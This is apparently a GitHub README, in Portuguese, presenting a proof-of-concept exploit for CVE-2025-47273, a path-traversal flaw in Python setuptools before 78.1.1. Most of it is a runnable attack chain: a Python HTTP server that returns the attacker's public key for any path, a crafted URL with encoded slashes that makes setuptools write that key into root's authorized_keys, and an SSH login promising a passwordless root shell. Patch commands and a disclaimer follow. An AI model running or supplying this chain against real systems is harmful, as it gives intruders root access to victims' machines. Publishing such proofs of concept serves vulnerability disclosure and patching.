alielkhatteb/cve-2025-47273-pocCVE-2025-47273 — PoC de path traversal no setuptools
Exploit de prova de conceito para uma vulnerabilidade de path traversal no Python setuptools < 78.1.1.
Ao abusar da função _download_url do componente PackageIndex, um invasor pode escrever arquivos arbitrários em qualquer local do sistema de arquivos — com os privilégios do processo que executa o setuptools.
| Campo | Detalhe |
|---|
| 🎯 Alvo | Python setuptools < 78.1.1 |
| 🐛 Classe de Erro | Path Traversal (CWE-22) |
| 💥 Impacto | Escrita arbitrária de arquivos |
| 📍 Vetor de Ataque | URL maliciosa do índice de pacotes |
| 🔍 Causa Raiz | os.path.join() descarta tmpdir quando o segundo argumento começa com / |
~/.ssh/id_rsa + id_rsa.pub)PackageIndex do setuptools com uma URL controlada pelo usuário# Copie sua chave pública para o diretório atual para servi-la
cp ~/.ssh/id_rsa.pub authorized_keys
Este servidor responde a qualquer requisição GET com sua chave pública — independentemente do caminho. O setuptools solicitará o caminho /USER/.ssh/authorized_keys mas receberá o conteúdo da sua chave.
cat > python_server.py << 'EOF'
import http.server
import socketserver
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# Serve authorized_keys regardless of path requested
self.send_response(200)
self.end_headers()
with open("authorized_keys", "rb") as f:
self.wfile.write(f.read())
with socketserver.TCPServer(("", 80), Handler) as httpd:
httpd.serve_forever()
EOF
python3 python_server.py
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"
sudo python3 /path/to/vulnerable_script.py \
"http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"
ssh root@VICTIM_IP
Sem senha. Shell root direto. 🔑
A versão 78.1.1 corrige o problema.
| Gerenciador de Pacotes | Comando |
|---|---|
| 🐍 pip | pip install --upgrade setuptools |
| 🐧 Debian/Ubuntu | sudo apt upgrade python3-setuptools |
| 🎩 RHEL/Fedora | sudo dnf upgrade python3-setuptools |
| 🏗️ Manual | setuptools releases |
Este código de Prova de Conceito (PoC) é fornecido apenas para fins educacionais e de teste de penetração autorizado.